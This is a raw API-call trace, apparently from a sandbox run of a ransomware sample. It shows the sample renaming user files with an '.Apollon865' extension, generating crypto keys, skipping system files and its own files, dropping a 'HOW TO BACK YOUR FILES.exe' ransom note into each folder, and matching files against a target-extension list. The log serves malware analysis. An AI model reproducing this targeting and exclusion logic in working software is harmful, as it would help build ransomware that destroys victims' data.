	[0086.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini.apollon865"), dwFlags=0x1) returned 1
	[0086.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.106] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=20) returned 1
	[0086.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.106] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.107] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.107] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.107] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x15c
	[0086.109] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000
	[0086.110] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.110] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.110] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.111] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.111] CloseHandle (hObject=0x15c) returned 1
	[0086.111] CloseHandle (hObject=0x9c) returned 1
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.112] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3026bbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1
	[0086.112] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1
	[0086.112] lstrlenW (lpString="Pictures") returned 8
	[0086.112] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned 40
	[0086.112] lstrcpyW (in: lpString1=0x119e644, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0086.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0086.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcc20
	[0086.112] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x5b7a50
	[0086.112] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="Apollon865.txt.exe") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2=".") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="..") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="windows") returned -1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="bootmgr") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="temp") returned -1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="pagefile.sys") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="boot") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="ids.txt") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="ntuser.dat") returned 1
	[0086.112] lstrcmpiW (lpString1="PrintHood", lpString2="perflogs") returned 1
	[0086.113] lstrcmpiW (lpString1="PrintHood", lpString2="MSBuild") returned 1
	[0086.113] lstrlenW (lpString="PrintHood") returned 9
	[0086.113] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 38
	[0086.113] lstrcpyW (in: lpString1=0x119e644, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood"
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcc78
	[0086.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7990 | out: ListHead=0x5b75f0, ListEntry=0x5b7990) returned 0x5b7b10
	[0086.113] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="Apollon865.txt.exe") returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1
	[0086.113] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1
	[0086.113] lstrcpyW (in: lpString1=0x119e644, lpString2="Recent" | out: lpString1="Recent") returned="Recent"
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bccd0
	[0086.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7990
	[0086.113] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30245a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0086.113] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.113] lstrcmpiW (lpString1="Saved Games", lpString2="Apollon865.txt.exe") returned 1
	[0086.113] lstrcpyW (in: lpString1=0x119e644, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games"
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0086.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598468
	[0086.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0086.113] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3021f910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3021f910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0086.113] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.114] lstrcmpiW (lpString1="Searches", lpString2="Apollon865.txt.exe") returned 1
	[0086.114] lstrcpyW (in: lpString1=0x119e644, lpString2="Searches" | out: lpString1="Searches") returned="Searches"
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcd28
	[0086.114] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7b90
	[0086.114] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0086.114] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.114] lstrcmpiW (lpString1="SendTo", lpString2="Apollon865.txt.exe") returned 1
	[0086.114] lstrcpyW (in: lpString1=0x119e644, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo"
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcd80
	[0086.114] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0086.114] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0086.114] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.114] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0086.114] lstrcpyW (in: lpString1=0x119e644, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5984c8
	[0086.114] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0086.114] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0086.114] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.114] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0086.114] lstrcpyW (in: lpString1=0x119e644, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0086.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcdd8
	[0086.114] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0086.114] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30114f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30114f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0086.114] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.114] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0086.115] lstrcpyW (in: lpString1=0x119e644, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0086.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0086.115] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bce30
	[0086.115] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0086.115] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30114f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30114f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0086.115] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.115] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0086.115] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos"
	[0086.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bce30 | out: hHeap=0x580000) returned 1
	[0086.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0086.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 36
	[0086.115] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos"
	[0086.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.116] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.116] GetLastError () returned 0x0
	[0086.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.116] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.116] CloseHandle (hObject=0x10c) returned 1
	[0086.116] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30114f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30114f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.116] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.116] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.117] lstrcpyW (in: lpString1=0x119e652, lpString2="1PE8K" | out: lpString1="1PE8K") returned="1PE8K"
	[0086.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0086.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598528
	[0086.117] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0086.117] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c02d430, ftCreationTime.dwHighDateTime=0x1d4d26f, ftLastAccessTime.dwLowDateTime=0x9d9a2290, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0x9d9a2290, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x13224, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4MPXHvUM9F.avi", cAlternateFileName="4MPXHV~1.AVI")) returned 1
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2="Apollon865.txt.exe") returned -1
	[0086.117] lstrcpyW (in: lpString1=0x119e652, lpString2="4MPXHvUM9F.avi" | out: lpString1="4MPXHvUM9F.avi") returned="4MPXHvUM9F.avi"
	[0086.117] lstrlenW (lpString="4MPXHvUM9F.avi") returned 14
	[0086.117] lstrlenW (lpString="Apollon865") returned 10
	[0086.117] lstrcmpiW (lpString1="HvUM9F.avi", lpString2="Apollon865") returned 1
	[0086.117] lstrlenW (lpString=".dll") returned 4
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".dll") returned 1
	[0086.117] lstrlenW (lpString=".lnk") returned 4
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".lnk") returned 1
	[0086.117] lstrlenW (lpString=".ini") returned 4
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".ini") returned 1
	[0086.117] lstrlenW (lpString=".sys") returned 4
	[0086.117] lstrcmpiW (lpString1="4MPXHvUM9F.avi", lpString2=".sys") returned 1
	[0086.118] lstrlenW (lpString="4MPXHvUM9F.avi") returned 14
	[0086.118] lstrlenW (lpString="bak") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.118] lstrlenW (lpString="ba_") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.118] lstrlenW (lpString="dbb") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.118] lstrlenW (lpString="vmdk") returned 4
	[0086.118] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.118] lstrlenW (lpString="rar") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.118] lstrlenW (lpString="zip") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.118] lstrlenW (lpString="tgz") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.118] lstrlenW (lpString="vbox") returned 4
	[0086.118] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.118] lstrlenW (lpString="vdi") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.118] lstrlenW (lpString="vhd") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.118] lstrlenW (lpString="vhdx") returned 4
	[0086.118] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.118] lstrlenW (lpString="avhd") returned 4
	[0086.118] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.118] lstrlenW (lpString="db") returned 2
	[0086.118] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.118] lstrlenW (lpString="db2") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.118] lstrlenW (lpString="db3") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.118] lstrlenW (lpString="dbf") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.118] lstrlenW (lpString="mdf") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.118] lstrlenW (lpString="mdb") returned 3
	[0086.118] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.119] lstrlenW (lpString="sql") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.119] lstrlenW (lpString="sqlite") returned 6
	[0086.119] lstrcmpiW (lpString1="9F.avi", lpString2="sqlite") returned -1
	[0086.119] lstrlenW (lpString="sqlite3") returned 7
	[0086.119] lstrcmpiW (lpString1="M9F.avi", lpString2="sqlite3") returned -1
	[0086.119] lstrlenW (lpString="sqlitedb") returned 8
	[0086.119] lstrcmpiW (lpString1="UM9F.avi", lpString2="sqlitedb") returned 1
	[0086.119] lstrlenW (lpString="xml") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.119] lstrlenW (lpString="$er") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.119] lstrlenW (lpString="4dd") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.119] lstrlenW (lpString="4dl") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.119] lstrlenW (lpString="^^^") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.119] lstrlenW (lpString="abs") returned 3
